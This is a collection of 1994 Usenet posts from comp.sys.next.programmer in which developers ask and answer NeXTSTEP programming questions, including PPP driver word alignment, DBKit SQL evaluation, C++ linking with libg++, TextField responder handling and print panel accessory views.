From: philipp@res.enst.fr (Philippe-Andre Prindeville) Newsgroups: comp.sys.next.programmer,comp.protocols.ppp Subject: Word alignment in PPP-0.3 (was: Re: ppp on intel 3.2, i've given up waiting) Date: 29 Mar 1994 16:50:39 GMT Organization: Ecole Nationale Superieure des Telecommunications, Paris FRANCE Distribution: world Message-ID: <2n9m8v$9k1@enst.enst.fr> References: <2mvlj5$l7q@cheltenham.cs.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit In article <2mvlj5$l7q@cheltenham.cs.arizona.edu>, kline@CS.Arizona.EDU (Nick Kline) writes: >It's been at least a month since several people posted on the >net >about a pd port of ppp being released for intel in the near >future. Well, there's a reason why you haven't heard much since... >The next step is to log errors/status messages in the ppp_reloc part >of the code. > >I'd be very eager to work with someone else who has addressed >these problems >and has moved on. There must be people already working on ppp >for intel, >right? Right. And I got past the problem with the TIOCGETD, but ran into the problem you mention above. It doesn't seem to be related to anything having to do with byte-ordering, at least not in the if_ppp.c code. Perhaps slcompress.c isn't byte-order independent -- I haven't looked. Seemed to me that the code was crashing in pppoutput() or a routine that it calls... Possibly in pppinput() also. Note: the code seems to work on Black hardware, or at least doesn't panic. That alone should tell us something... Giving a quick glance (at ppp-0.3) follows. the block (if_ppp.c:618) looks a bit dubious: case AF_UNSPEC: ph = (struct ppp_header *) dst->sa_data; address = ph->ph_address; control = ph->ph_control; protocol = ntohs(ph->ph_protocol); break; If &ph->ph_protocol is not word-aligned, this code conceivably could cause a coredump. Elsewhere (if_ppp.c:652): protocol != PPP_ALLSTATIONS; comparing addresses and protocols is like comparing apples and oranges... As far as I can tell, pppstart() looks "clean". and then again in pppinput() (if_ppp.c:928) ph = (struct ppp_header *)nb_map(sc->tin_nb); #ifdef VJC switch (ntohs(ph->ph_protocol)) no guarantees that ph is word aligned... And again (if_ppp.c:948) ((struct ppp_header *) nb_map(sc->tin_nb))->ph_protocol = htons(PPP_IP); just gets stranger and stranger (if_ppp.c:957) ph->ph_protocol = htons(PPP_IP); again (if_ppp.c:972)... switch (ntohs(ph->ph_protocol)) { And looking at slcompress.c, it isn't obvious that pointers to "struct ip" are always word-aligned... Though if they are, "struct tcphdr" pointers are guaranteed to be (since IP headers are always long-word padded). So, what do we need to do here? Clean up the code when accessing structures to use macros? Or do we set the compilation option to assume that structures may be misaligned (ie. odd pointers, etc)? While I think of it: ppp_reloc never gets me a panic window on my NeXT -- I'm not so lucky. I get a soft-reboot instead (almost as if I had hit the "reset" button). So finding out which address panic'd the kernel is out of the question. (SIGH). Anyone got a neat trick for tracing bogus code when you have neither a second machine with GDB *nor* an ICE? Thanks, -Philip
Newsgroups: comp.sys.next.programmer From: thsscvc@iitmax.iit.edu (Chris Conley) Subject: hashtable and float values Message-ID: <1994Mar29.194926.18358@iitmax.iit.edu> Organization: Illinois Institute of Technology / Academic Computing Center Date: Tue, 29 Mar 94 19:49:26 GMT Hello, Newbie beginner question: I'm setting up a little data structure using a hashtable with character keys and id's for values. Each of those id's are Hashtable objects and their keys are characters with (hopefully) float values. I've implemented with integers, but I would like to use floats. To specify the type of a value, one uses a character specified in the hashtable docs. For integer it is an "i". There isn;t one specifically for float, but there is an "!" for other data types. Can I use this for floats in the above scheme? I am asking because my code is choking. Any help is greatly appreciated, or if you need further detail, lemme know. Best, Chris Conley Institute of Design, IIT Chicago
From: vgriscep@wam.umd.edu (VGR (Craig Pell)) Newsgroups: comp.sys.next.programmer Subject: How to get 3.0-made app to run in 2.0? Date: 29 Mar 1994 23:38:32 GMT Organization: Erasure Wars Agency Message-ID: <2nae5o$dsl@cville-srv.wam.umd.edu> How do I get an application created in 3.0 to run in 2.0? It doesn't use any unique-to-3.0 mechanisms (that I know of). (If this is in the FAQ, I apologize; but the most recent FAQ post has apparently expired for me.) -- | $000C35FA <>-----=------------------------=----=----<> VGR | (1812 Overture) | "The size of the brain is no measure of | | I GIVE UP | its capacity." - Mr. Jonathan Frisby | | YOU MUST BE A VIDEO WHIZ <>-----=---------=------------------------<>
From: eric@skatter.usask.ca Newsgroups: comp.sys.next.programmer Subject: Setting scrollView scroller position from program Date: 29 Mar 1994 22:37:04 GMT Organization: University of Saskatchewan Message-ID: <2naaig$9kv@tribune.usask.ca> In my application I have a scrollview. From some other object I want to set the position of the horizontal scroller (as opposed to having the user click and drag the button). I can move the scroller around by: [[scrollView horizScroller] setFloatValue:[sender floatValue]]; but this updates only the position of the scroller button -- the view within the scrollview doesn't move. What am I missing here? I am sure there is a simple way of doing this, but I can't figure out what it is. Thanks, -- Eric Norum eric@skatter.usask.ca Saskatchewan Accelerator Laboratory University of Saskatchewan Saskatoon, Canada. NeXTMail accepted.
Newsgroups: comp.sys.next.programmer From: pelletk@il.us.swissbank.com (Ken Pelletier) Subject: DBTableView delegate bug? Message-ID: <1994Mar29.200340.844@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Tue, 29 Mar 1994 20:03:40 GMT I've run into the following problem with DBTableView: Some context: NS 3.0 The DBTableView is not editable; separate controls are used for each of the editable fields for a given row. The controls are updated from within the tableViewDidChangeSelection: method to reflect the new selection, and are not connected to the DBTableView in IB (no DBAssociations). If the user changes selection in the DBTableView after making changes via one of the controls, I allow save/discard first using an alert panel from within DBTableView's tableViewWillChangeSelection: method. After the user chooses discard or save, I expect a tableViewDidChangeSelection: to follow, but don't get one until the app receives another (any?) event. Ex: If I mouseDown on the mainWindow. The ...DidChangeSelection: method is deferred, even though the new selection is highlighted in the TableView Any experience with this problem? - Ken
From: ramanan@patch.pnb.sunysb.edu (S. V. Ramanan) Newsgroups: comp.sys.next.programmer Subject: Re: instance drawing on window resize Date: 30 Mar 1994 00:10:23 GMT Organization: State University of New York at Stony Brook Message-ID: <2nag1f$q95@adam.cc.sunysb.edu> References: <1994Mar29.084117.2429@ares.fdn.org> In article <1994Mar29.084117.2429@ares.fdn.org> gery@ares.fdn.org (Gery Divry) writes: > In article <2n7i7k$bic@adam.cc.sunysb.edu> ramanan@patch.pnb.sunysb.edu > (S. V. Ramanan) writes: > > : I do some instance drawing in a View. Since it seems > :that any instance drawing done inside the drawSelf:: method > :has no effect, i put the instance drawing code inside the > :View's display method, and do the instance drawing after the > :call to [super display] > : Unfortunately, this does not work if the user manually > :resizes the window. > : < gobble, gobble> > Hello > > I am not sure to understand your problem > > But instance drawing need a buffered window to refresh the background > unfortunatly when you resize the window, the window need to redraw itself > entierely in a new buffer ( logic, isnt'it), so at this time ( in the > first redraw ) it seems difficult to do an instance drawing until the new > buffer is filled. Here's the sketch of the code: @implementation SomeView:View - doInstanceDrawing { /* do the instance drawing */ } - drawSelf:(NXRect *)r:(int)count { /* do some drawing */ /* following code has NO effect */ PSsetinstance(YES); [self doInstanceDrawing]; PSsetinstance(NO); return self; } /* However, overriding the "display" method does the trick */ /* most of the time, see below */ - display { [super display]; [self lockFocus]; [self doInstanceDrawing]; [self unlockFocus]; return self; } @end Here's a backtrace at the beginning of the drawSelf: method when the window is resized: #0 -[SomeView drawSelf::] (self=0x62bc004, _cmd=0x618ac53, r=0x3fff61c, count=1) at HistView.m:478 #1 0x601b7ac in -[View _display::] () #2 0x601b814 in -[View _display::] () #3 0x601b814 in -[View _display::] () #4 0x60201d8 in -[FrameView _display::] () #5 0x601406a in -[View display:::] () #6 0x60139ea in -[View display] () #7 0x601a812 in -[Window _resizeWindow:userAction:] () #8 0x60719d0 in -[FrameView _resize:] () #9 0x6065a22 in -[FrameView mouseDown:] () #10 0x606177c in -[Window sendEvent:] () #11 0x6029772 in -[Application sendEvent:] () #12 0x602ffd2 in -[Application run] () #13 0x15e3a in main (argc=1, argv=0x3fffcb4) at Patch_main.m:11 Notice that at no point does the display method of the SomeView object get called. What i need is some way of getting informed that the window has resized, so that i can do the instance drawing and have it be shown in the resized window. Further, setting the SomeView as the window's delegate does not work, as the windowDidResize: method gets called BEFORE any drawing is done in the view (and thus any instance drawing done then is wiped out later). BTW, the SomeView object is the content view of the window. Thanks for your attention, !ramanan ramanan@patch.pnb.sunysb.edu
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: Differences in Black and White generated code Message-ID: <1994Mar29.235127.3133@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <9403290449.AA02117@stokeisland.ohi.com> Date: Tue, 29 Mar 1994 23:51:27 GMT Of course, Traynor: you are completely alone....no one knows that the heck you're talking about....just like Workspace "do you REALLY want to DECOMPRESS"!!! In article <9403290449.AA02117@stokeisland.ohi.com> chris@stokeisland.ohi.com (Christopher J. Traynor) writes: > All: > Has anyone come across a situation where a build on black hardware for a > white target did not generate the same code as a build on white for white? We > have an application here that causes a panic (of course it had to be the worst > thing in the world) if the it is compiled FAT on black and it works if compiled > on white. Let me clarify be saying that the app is causing the panic on white > hardware and not black. It occurrs about 40% of the time as the app is loading. > I just wanted to know if we were alone in this... > > Cheers, > Chris
From: dattillm@beatrice.cs.rose-hulman.edu (Leonard M. Dattilo) Newsgroups: comp.sys.next.programmer Subject: Creating databases dynamically with DBKit Date: 30 Mar 1994 01:20:35 GMT Organization: Rose-Hulman Institute of Technology Message-ID: <2nak53$m5j@master.cs.rose-hulman.edu> Greetings, Does anyone have any ideas on how to create a database dynamically while using or without interfering with DBKit? DBKit seems to be designed to be used after you have already created a database on the server. In my application I have a .dbmodel file based on the database I would like to create on the server. What I have tried is using the DBDatabase evaluateString method to send the SQL create database and the SQL create table. The evaluateString method crashes the app after using it between 2 to 8 times. The error is: Program generated(1): Memory access exception on address 0x20 (protection failure). 0x50069cc in objc_msgSend () Since evaluateString appears to be unreliable I would appreciate any other ideas. By the way, I'm using a 68040 NeXT with NeXTSTEP 3.1. Thanks in advance, Leonard Dattilo
From: nhowland@discovery.ksu.ksu.edu (Neal Patrick Howland) Newsgroups: comp.sys.next.programmer Subject: How do I use the serial ports? Date: 29 Mar 1994 21:16:41 -0600 Organization: Kansas State University Message-ID: <2naqup$et2@discovery.ksu.ksu.edu> I am new to programming NeXT machines and unix machines. What I would like to do is write a simple text program to run from the command line which is basically a dumb terminal to one of the serial ports. I have a Motorola 68HC11 EVBU board which communicates through an RS-232 port and behaves like a 9600 baud modem, without handshaking. I need a program that will send everything I type to it to the serial port, and print everything received from the serial port to the screen. Could someone please send me some info on how to do this, or the name of a program if one is available. Being able to download text files to the serial port would be nice, but once I get comm working I can add that function fairly easily. Oh, by the way my hardware is a NeXTstation '040. Neal Howland nhowland@matt.ksu.ksu.edu
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: How do I use the serial ports? Date: 30 Mar 1994 04:17:25 GMT Organization: San Francisco State University Message-ID: <2naugl$als@nic-nac.CSU.net> References: <2naqup$et2@discovery.ksu.ksu.edu> In article <2naqup$et2@discovery.ksu.ksu.edu> nhowland@discovery.ksu.ksu.edu (Neal Patrick Howland) writes: > I need a program that will send >everything I type to it to the serial port, and print everything received >from the serial port to the screen. Could someone please send me some info >on how to do this, or the name of a program if one is available. Get kermit. It's free. >Oh, by the way my hardware is a NeXTstation '040. ftp.cc.columbia.edu:kermit/bin/ckuker.next (Also--see kermit/b/ckuins.doc for a list of other files you might find useful!) -=EPS=-
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Multiple Document Syndrome Date: 30 Mar 1994 03:59:18 GMT Organization: San Francisco State University Message-ID: <2natem$9vv@nic-nac.CSU.net> References: <pburka.43.764957710@UPEI.CA> In article <pburka.43.764957710@UPEI.CA> pburka@UPEI.CA (PETER WIEBE BURKA) writes: >I'm very new to NeXT programming, and I suspect I'm missing something >obvious. /NextDeveloper/Examples? >When an application with multiple documents (i.e. the Editor with >all of it's open documents) receives a message to Save from it's menu, how >can it determine which is the active document? That's really up to you, but [NXApp mainWindow] often suffices. >I can detrmine the active window, but can't find a way to get at the object >it represents. Many possibilities here. One way is to use contentView (particularly if there's a CustomView involved). Another is to register the document object as the Window's delegate. (There are others...) Basically, do what ever makes the most sense for your particular application. >Also, is there a FAQ for this group? How often is it posted, or where can I >find it? FAQs are posted to comp.sys.next.announce (only). You should also be able to find copies on rtfm.mit.edu. Greg Anderson <greg@afs.com> supposedly maintains a FAQ list for comp.sys.next.programmer. Also, may I recommend: Garfinkel, Simson. NeXTSTEP programming : step one, object-oriented applications / Simson L. Garfinkel, Michael K. Mahoney. New York : Telos : Springer-Verlag, c1993. ISBN 0-387-97884-4 (in Europe, ISBN 3-540-97884-4) Nghiem, Alex Duong. NeXTSTEP programming : concepts and applications Englewood Cliffs, NJ : Prentice Hall, c1993. ISBN 0-13-605916-3 -=EPS=-
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: IXAdapter...who to contact? Message-ID: <CnGIt7.1x1@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <1994Mar28.185144.14527@cc.usu.edu> Date: Wed, 30 Mar 1994 02:55:54 GMT slxn8@cc.usu.edu writes > Can someone direct me the devlopers of the IXAdapter software. The DBKit > adapter that allows you to use flat text files in indexing kit...or somesuch. VNP Software time bombed demos at vnp.com try mailing to info@vnp.com or perhaps Van_Simmons@vnp.com they make several very useful products -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
From: chris@iastate.edu (Chris Wong) Newsgroups: comp.sys.next.programmer Subject: NS can't even compile simple C++ program (Re: c++ inline linkage bug in NSI 3.2?) Date: 30 Mar 1994 06:30:04 GMT Organization: Iowa State University, Ames, Iowa (USA) Distribution: world Message-ID: <2nb69c$ib2@news.iastate.edu> References: <2n9nsj$dmu@netnews.upenn.edu> Geez... I'm shocked when I find that NS can't even compile a simple C++ program. Here is what I've got. helser54% cc++ test.C ld: Undefined symbols: _cout ostream::operator<<(int) helser54% cat test.C #include <iostream.h> main() { int i = 0; cout << 0; return 0; } Can somebody help me what's going on? Gosh... I still can't believe I am using a expensive compiler that can't compile program. Please help... Chris -- Chris Wong | "Hardware is supposed to serve Software." chris@iastate.edu | Computer Engineering & Computer Science twba8@isuvax.iastate.edu | Iowa State University of Science and Technology
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.programmer From: korp@eid.anl.gov (Peter A. Korp) Subject: Need some information to advocate about NeXTSTEP Message-ID: <CnGt37.JtG@mcs.anl.gov> Keywords: NeXT, NeXTSTEP, Visual Basic, MVC, Objective-C Sender: usenet@mcs.anl.gov Organization: Argonne National Laboratory, Argonne, Illinois Date: Wed, 30 Mar 1994 06:37:54 GMT I am looking at providing information to higher level management about the benefits that NeXTSTEP has in developing applications. I already know about a fair number of features that enable more productive development in NeXTSTEP but need help with certain issues. These include, A formal description of the Model-View-Controller paradigm, a good/short description of the benefits and features of DBKit, how far can IB palettes and IB itself be used for OOP and any other issues that people may think are a little obscure but very much worth mentioning (Things like but not including Activation/Passivation, Delegation, Protocols, and Distributed Objects). I am not a user of Visual Basic but it is sure to come up as a comparison. If I could get some comments about things that VB has that NeXTSTEP doesn't, the scope of the IB like tools, etc... I would greatly appreciate it. I will post a summary if requested. -- Peter
Newsgroups: comp.sys.next.programmer From: blanford@gemstone.com (Ron Blanford) Subject: Re: Creating databases dynamically with DBKit Message-ID: <1994Mar30.072636.29771@venice.sedd.trw.com> Originator: blanford@arkenstone Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA References: <2nak53$m5j@master.cs.rose-hulman.edu> Date: Wed, 30 Mar 1994 07:26:36 GMT In article <2nak53$m5j@master.cs.rose-hulman.edu> dattillm@beatrice.cs.rose-hulman.edu (Leonard M. Dattilo) writes: > > Greetings, > Does anyone have any ideas on how to create a database dynamically > while using or without interfering with DBKit? DBKit seems to be > designed to be used after you have already created a database on the > server. In my application I have a .dbmodel file based on the database > I would like to create on the server. > > What I have tried is using the DBDatabase evaluateString method to > send the SQL create database and the SQL create table. The > evaluateString method crashes the app after using it between 2 to 8 > times. The error is: > Program generated(1): Memory access exception on address 0x20 > (protection failure). 0x50069cc in objc_msgSend () > > Since evaluateString appears to be unreliable I would appreciate > any other ideas. > > By the way, I'm using a 68040 NeXT with NeXTSTEP 3.1. > > Thanks in advance, > > Leonard Dattilo The DBDatabase evaluateString is broken. Use the DBBinder one instead. - (BOOL) evaluateString:aString for:aDatabase; { BOOL success; id binder = [[DBBinder alloc] init]; [aDatabase beginTransaction]; [binder reset]; [binder setDatabase:aDatabase]; success = [binder evaluateString:aString]; /* NeXT suggests the following even though no data is expected */ [binder setNext]; [binder cancelFetch]; if (success) { [aDatabase commitTransaction]; } else { [aDatabase rollbackTransaction]; } [binder free]; return success; } -- Ron blanford@gemstone.com
Newsgroups: comp.sys.next.programmer From: blanford@gemstone.com (Ron Blanford) Subject: Re: Differences in Black and White generated code Message-ID: <1994Mar30.073522.29909@venice.sedd.trw.com> Originator: blanford@arkenstone Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA References: <9403290449.AA02117@stokeisland.ohi.com> Date: Wed, 30 Mar 1994 07:35:22 GMT In article <9403290449.AA02117@stokeisland.ohi.com> chris@stokeisland.ohi.com (Christopher J. Traynor) writes: > All: > Has anyone come across a situation where a build on black hardware > for a white target did not generate the same code as a build on white > for white? We have an application here that causes a panic (of course > it had to be the worst thing in the world) if the it is compiled FAT on > black and it works if compiled on white. Let me clarify be saying that > the app is causing the panic on white hardware and not black. It > occurrs about 40% of the time as the app is loading. > I just wanted to know if we were alone in this... > > Cheers, > Chris I have had similar problems. Things that worked just fine on black didn't work or worked differently or intermittently on white unless compiled on white. I can't narrow down the issues any closer than this because the application was being developed for deployment on black only and we were instructed not to waste time chasing down white bugs. This was a DBKit intensive application, but the problems appeared to affect the responder chain as well. -- Ron blanford@gemstone.com
From: mcgredo@crl.com (Donald R. McGregor) Newsgroups: comp.sys.next.programmer Subject: Re: NS can't even compile simple C++ program (Re: c++ inline linkage bug in NSI 3.2?) Date: 29 Mar 1994 23:59:44 -0800 Organization: YoyoDyne Propulsion Systems Distribution: world Message-ID: <2nbbhg$klj@crl.crl.com> References: <2n9nsj$dmu@netnews.upenn.edu> <2nb69c$ib2@news.iastate.edu> In article <2nb69c$ib2@news.iastate.edu> chris@iastate.edu (Chris Wong) writes: :>helser54% cc++ test.C :>ld: Undefined symbols: :>_cout You need to pick up libg++. On more recent systems it's in /NextDeveloper/Source/GNU. -- Don McGregor | Yeah, whatever. mcgredo@crl.com |
From: marcus@ee.pdx.edu (Marcus Daniels) Newsgroups: comp.sys.next.programmer Subject: shared libraries Date: 30 Mar 1994 08:18:21 GMT Distribution: world Message-ID: <MARCUS.94Mar30001822@tdb.ee.pdx.edu> From the Expo announcement: >Learn about the new dynamically linked shared libraries and the >dynamic link editor that will be available in NEXTSTEP Developer >Release 3.3. This talk will cover how to build and use dynamically >linked shared libraries and how to build and load bundles so that >they automatically load the shared libraries they depend on. Hear >how the new dynamic link editor will make the developer's life >easier. This reminded me of several related questions I've been meaning to pose to you folks: 0. (naturally) Does anyone have info on this? Can we expect anything special or interesting about the implementation? 1. Are there any Mach 3.0 variants that still use Mach-O? Isn't NeXT's use sections for fat binaries, etc. somewhat isolated? 2. The real reason I ask: has anyone considered or started, thought about, abandoned, etc. any of the following projects. If so any comments? a. A Mach-O GNU BFD backend. Don't suppose NeXT would have done this?! b. A Mach-O to a.out converter. c. Portable linker code, so cross-compiling to NEXTSTEP with stock GNU tools would be possible. Thanks, Marcus Daniels marcus@ee.pdx.edu
From: dsdecasp@iiic.ethz.ch (Daniel Stefan Decasper) Newsgroups: comp.sys.next.programmer Subject: Re: Creating databases dynamically with DBKit Date: 30 Mar 1994 06:53:25 GMT Organization: Dept. Informatik, Swiss Federal Institute of Technology (ETH), Zurich, CH Message-ID: <2nb7l5$188@neptune.inf.ethz.ch> References: <2nak53$m5j@master.cs.rose-hulman.edu> In article <2nak53$m5j@master.cs.rose-hulman.edu>, Leonard M. Dattilo <dattillm@beatrice.cs.rose-hulman.edu> wrote: > > > What I have tried is using the DBDatabase evaluateString method to >send the SQL create database and the SQL create table. The evaluateString >method crashes the app after using it between 2 to 8 times. The error is: > Program generated(1): Memory access exception on address 0x20 >(protection failure). 0x50069cc in objc_msgSend () > > Since evaluateString appears to be unreliable I would appreciate >any other ideas. > evaluteString is ok, but you have to use it together with a binder. Try the following: DBBinder *binder = [[DBBinder alloc] init]; List *rowsList = [[List alloc] init]; [binder setDatabase:theDatabase]; [binder setContainer:(id)rowsList]; [binder evaluateString:"WHATEVER IT IS"]; Check out the 1509 article in NXApp Winter '93 written by Mai Nguyen. Hope it helps, Dan -- ---------------------------------------------------------------------------- = Dan S. Decasper email: dan@fanatic.open.ch or dsdecasp@iiic.ethz.ch = = Uetlibergstr.16 voice: 41-1-4930361 [NeXTMail ok]; = = CH-8142 Uitikon fax: 41-1-4930361 09/24/69 =
From: gcasa@wam.umd.edu (Gregory John Casamento) Newsgroups: comp.sys.next,comp.sys.next.misc,comp.sys.next.programmer Subject: Reading Amiga Disks on the NeXT Followup-To: poster Date: 30 Mar 1994 15:59:15 GMT Organization: University of Maryland College Park Message-ID: <2nc7kj$4l@cville-srv.wam.umd.edu> Hi, I am a recent Amiga to NeXT convert. I own a NeXT 68040 Cube and I just need to get some of my old source code off of my old amiga disks. I also wanted to get some of my .gif and .jpg files off of them. Is there an app which will allow me to read Amiga Format Disks?? Thanx, -- Gregory John Casamento -- gcasa@wam.umd.edu -- Opinions expressed in this space are mine. However, they are the -- fault of my twisted and demented professors at UMCP!!! #include <stdsig.h>
Newsgroups: comp.sys.next.programmer From: montyz@il.us.swissbank.com (Montgomery Zukowski) Subject: Desparate Plea: How to quicken link time? Message-ID: <1994Mar30.153323.6894@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Wed, 30 Mar 1994 15:33:23 GMT Now that my app takes 2 minutes 50 seconds just to link I want to know if there is anything I can do to speed up my edit/compile/debug cycle. Help! Monty
Newsgroups: comp.sys.next.programmer From: peter@corsica (Peter Eisch) Subject: Re: Can't get rid of DO Message-ID: <CnHrJz.CyC@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Hospital and Clinic, Laboratory Information Services References: <CnE1x4.1n1@tms-gmbh.de> Date: Wed, 30 Mar 1994 19:04:25 GMT I'd try writing a small program that connected to hosts on the network specifically to pinpoint which host is the culprit. (I'm assuming that you're using: id conn = [NXConnection connectToName:"foo" onHost:"*"]; now.) The program may look something like: --- #import <stdio.h> #import <remote/NXConnection.h> int main(int argc, char *argv[]) { int cur; id conn; for (cur = 1; cur <= argc; cur++) { printf("testing host: %s...", argv[cur]); conn = [NXConnection connectToName:"foo" onHost:argv[cur]]; if (conn) { printf("we have a potential 'bad-boy'\n"); } else { printf("not here\n"); } } exit(0); } --- Compile it, perhaps to 'stalker' and then stalker host1 host2 host3..hostn --- I didn't specifically answer your question, but this will hopefully solve your problem. A quicker solution would be to vend and connect to a different name that what you've been using before... peter -- Always looking for a handy place to nap... peter@tahiti.umhc.umn.edu (Peter Eisch) peisch@snac.cfa.org
From: marinoe@gb.swissbank.com (Evstathios Marinos) Newsgroups: comp.sys.next.programmer Subject: Problem with TextFields Date: 30 Mar 1994 17:19:14 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2nccai$6p8@gpo.gb.swissbank.com> Keywords: TextField, First Responder Hi Everybody, I have a problem with TextFields. I must track, when the user changes the TextField without subclassing the TextField Class. When the user clicks on a TextField, the TextField becomes the First Responder. Thats fine and I can track that, because I've overwritten the becomeFirstResponder method in a Category of TextField. The problem is when the user tabs from one TextField into another. In this case the resignFirstResponder and becomeFirstResponder methods are not executed, just the selectText: method is executed and it seems that this method doesn't change the firstResponder. But the next TextField is selected and accepting KeyDown Events and Action methods as it does, when it's the First Responder. Does anybody knows a solution? Thanks for help. Stathis P.S.: I can not use the textDelegate because we don't want to change our existing code. This functionality must be incorporated without changes to prior written code. -- Evstathios Marinos NEXTSTEP Software & Consulting Services work: marinoe@gb.swissbank.com, voice:+44 71 711 29 84 home: emarinos@marcon.ka.sub.org, voice:+49 721 37 71 78
From: eagle@catt.ncsu.edu (Daniel C. L'Hommedieu) Newsgroups: comp.sys.next.programmer,comp.sys.next.hardware Subject: Double-headed Cube (multiple motherboards) Date: 30 Mar 1994 21:07:54 GMT Organization: North Carolina State University Message-ID: <2ncpna$3ap@taco.cc.ncsu.edu> I recall that, a few years back, people were multiprocessing on their Cubes, by having multiple motherboards in them, and applying a patch to the OS. What benefit did this give? For instance, could I have my Cube use two motherboards in it, and have the OS automagically split up my tasks between them? (I'm having a bit of trouble explaining exactly what I want here...do you get that idea?) Daniel -- Daniel "eagle" L'Hommedieu Daniel_LHommedieu@nest.catt.ncsu.edu eagle@nest.catt.ncsu.edu (NeXT Mail preferred)
From: cfleming@alleg.edu (Chuck Fleming) Newsgroups: comp.sys.next.programmer Subject: DO sample code Date: 30 Mar 1994 19:55:06 GMT Organization: Allegheny College Distribution: world Message-ID: <2ncleq$411@mustang.alleg.edu> Keywords: DO, distributed objects Greetings, I put some simple sample DO code on ftp.alleg.edu in /pub/ESDG/SampleCode. Both the server and client are non-appkit apps and both are multithreaded. I would appreciate knowing if there are better ways to set up this type of two-way communication. Chuck -- ########################################### Chuck Fleming (cfleming@alleg.edu) Educational Computing Services Allegheny College NeXTMail welcome ###########################################
From: chris@iastate.edu (Chris Wong) Newsgroups: comp.sys.next.programmer Subject: Re: NS can't even compile simple C++ program (Re: c++ inline linkage bug in NSI 3.2?) Date: 30 Mar 1994 21:43:59 GMT Organization: Iowa State University, Ames, Iowa (USA) Distribution: world Message-ID: <2ncrqv$939@news.iastate.edu> References: <2n9nsj$dmu@netnews.upenn.edu> <2nb69c$ib2@news.iastate.edu> <2nbbhg$klj@crl.crl.com> In article <2nbbhg$klj@crl.crl.com>, Donald R. McGregor <mcgredo@crl.com> wrote: >In article <2nb69c$ib2@news.iastate.edu> chris@iastate.edu (Chris Wong) writes: >:>helser54% cc++ test.C >:>ld: Undefined symbols: >:>_cout > Problem solved by using "cc++ test.C -lg++". "cc++ -lg++ test.C" doesn't work" Anyone has any idea why "cc++ -lg++ test.C" doesn't work? Putting -lg++ at the **END** does work. Chris -- Chris Wong | "Hardware is supposed to serve Software." chris@iastate.edu | Computer Engineering & Computer Science twba8@isuvax.iastate.edu | Iowa State University of Science and Technology
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Problem with TextFields Date: 30 Mar 1994 22:58:15 +0100 Organization: me organised, that's a joke. Message-ID: <2ncsln$ne@steffi.demon.co.uk> References: <2nccai$6p8@gpo.gb.swissbank.com> Keywords: TextField, First Responder marinoe@gb.swissbank.com wrote in comp.sys.next.programmer >Hi Everybody, > >I have a problem with TextFields. > >I must track, when the user changes the TextField without subclassing >the TextField Class. When the user clicks on a TextField, the TextField >becomes the First Responder. Thats fine and I can track that, because >I've overwritten the becomeFirstResponder method in a Category of >TextField. > >The problem is when the user tabs from one TextField into another. In this >case the resignFirstResponder and becomeFirstResponder methods are not >executed, just the selectText: method is executed and it seems that this >method doesn't change the firstResponder. But the next TextField is >selected and accepting KeyDown Events and Action methods as it does, >when it's the First Responder. > >Does anybody knows a solution? Thanks for help. > >Stathis > >P.S.: I can not use the textDelegate because we don't want to change our > existing code. This functionality must be incorporated without > changes to prior written code. > >-- >Evstathios Marinos >NEXTSTEP Software & Consulting Services >work: marinoe@gb.swissbank.com, voice:+44 71 711 29 84 >home: emarinos@marcon.ka.sub.org, voice:+49 721 37 71 78 Yep, I've already told Dave this. so he should tell you. But use window delegate's windowWillReturnFieldEditor:sender toObject:client the "client" is the object requesting the field editor in this case your text field. All TextFields request the field editor. -- "C++ is the best C++ there is." (ASCII for text only messages)
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Need Print panel help Date: 30 Mar 1994 22:46:01 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2ncvf9$1ln@darkstar.UCSC.EDU> I'm trying to implement the printing of a user-selected view. I want the user to be able to select a named view from a dynamically-configured popUpList in the accessoryView of the Print panel. So whereas the Print panel is normally opened from a view's printPSCode: method, in my case the view isn't known when the Print panel is opened. I could implement this functionality by dynamically reconfiguring the menu from which the print action method is invoked, but that's not nearly as nice as using a popUpList on the Print panel itself. The docs seem to indicate that the following should work: - printView:sender { PrintPanel *printPanel = [PrintPanel new]; [printPanel setAccessoryView:[accessoryWin contentView]]; if ([printPanel runModal] != NX_CANCELTAG) { [[self viewFromAccessoryPopUpList] printPSCode:self]; } [[printPanel orderOut:self] setAccessoryView:nil]; return self; } - (BOOL)shouldRunPrintPanel:aView { return NO; } The docs indicate that if printPSCode:'s sender implements a shouldRunPrintPanel: that returns NO, the Print panel isn't opened and the printing info from the last time the panel was opened is used. I don't see the Print panel a second time, so that's working correctly, but pressing any Print panel button except the Cancel button causes regular printing to occur :-( The Print panel's exitTag is correctly set to reflect whatever Print panel button was pressed when I break in the shouldRunPrintPanel: method, so what am I doing wrong?? --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
